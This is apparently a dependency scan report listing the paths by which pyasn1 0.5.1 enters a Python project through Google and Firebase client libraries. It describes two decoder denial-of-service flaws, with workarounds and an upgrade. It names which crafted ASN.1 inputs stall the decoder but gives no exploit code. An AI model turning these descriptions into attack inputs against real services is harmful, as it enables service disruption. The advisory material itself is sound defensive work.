  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the RealPayloadDecoder.valueDecoder method in pyasn1/codec/ber/decoder.py. An attacker can hold a decoder on one CPU core for seconds or longer by supplying a binary-encoded ASN.1 REAL with a large mantissa, which the method accumulates one octet at a time in a shift-and-slice loop whose cost grows quadratically in the mantissa length. Exploitation requires only that a REAL value reach a BER, CER, or DER decoder, with or without an asn1Spec, and the work occurs inside decode() even when the application never uses the resulting object.

Workaround

This vulnerability can be avoided by rejecting or strictly limiting the size of attacker-controlled ASN.1 input before passing it to the decoder, with the limit set against the application's available CPU time and request volume.

Remediation

Upgrade pyasn1 to version 0.6.5 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: pyasn1
  • Introduced through: google-auth-httplib2@0.3.0, google-api-python-client@2.198.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.

Overview

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the OctetStringPayloadDecoder class and the AnyPayloadDecoder.indefLenValueDecoder method in pyasn1/codec/ber/decoder.py. An attacker can exhaust a decoding worker during a decode() or StreamingDecoder call by supplying a constructed OCTET STRING, an inherited character string such as UTF8String, or an indefinite-length ANY built from many fragments, each of which re-copies the entire value accumulated so far. Valid BER and conforming CER inputs reach the constructed-string loops with or without a schema, while the indefinite-length ANY path additionally requires an asn1Spec selecting univ.Any. DER rejects indefinite lengths and reaches the constructed OCTET STRING path only through a schema selecting univ.OctetString, though it accepts a constructed UTF8String even without one.

Workaround

This vulnerability can be avoided by enforcing application-appropriate size limits on untrusted ASN.1 input before passing it to the decoder and capping the CPU available to decoding workers, and applications requiring DER can reject constructed string encodings before invoking the decoder.

Remediation

Upgrade pyasn1 to version 0.6.5 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: pyasn1
  • Introduced through: google-auth-httplib2@0.3.0, google-api-python-client@2.198.0 and others

Detailed paths

  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-httplib2@0.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-auth-oauthlib@1.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-auth-oauthlib@1.3.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to google-api-python-client@2.198.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-api-python-client@2.198.0 › google-auth-httplib2@0.3.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-storage@3.9.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › pyasn1-modules@0.3.0 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
  • Introduced through: AbdullahMalik17/Digital-FTE@AbdullahMalik17/Digital-FTE › firebase-admin@6.9.0 › google-cloud-firestore@2.26.0 › google-cloud-core@2.5.0 › google-api-core@2.29.0 › google-auth@2.46.0 › rsa@4.9.1 › pyasn1@0.5.1
    Remediation: Upgrade to firebase-admin@6.9.0.
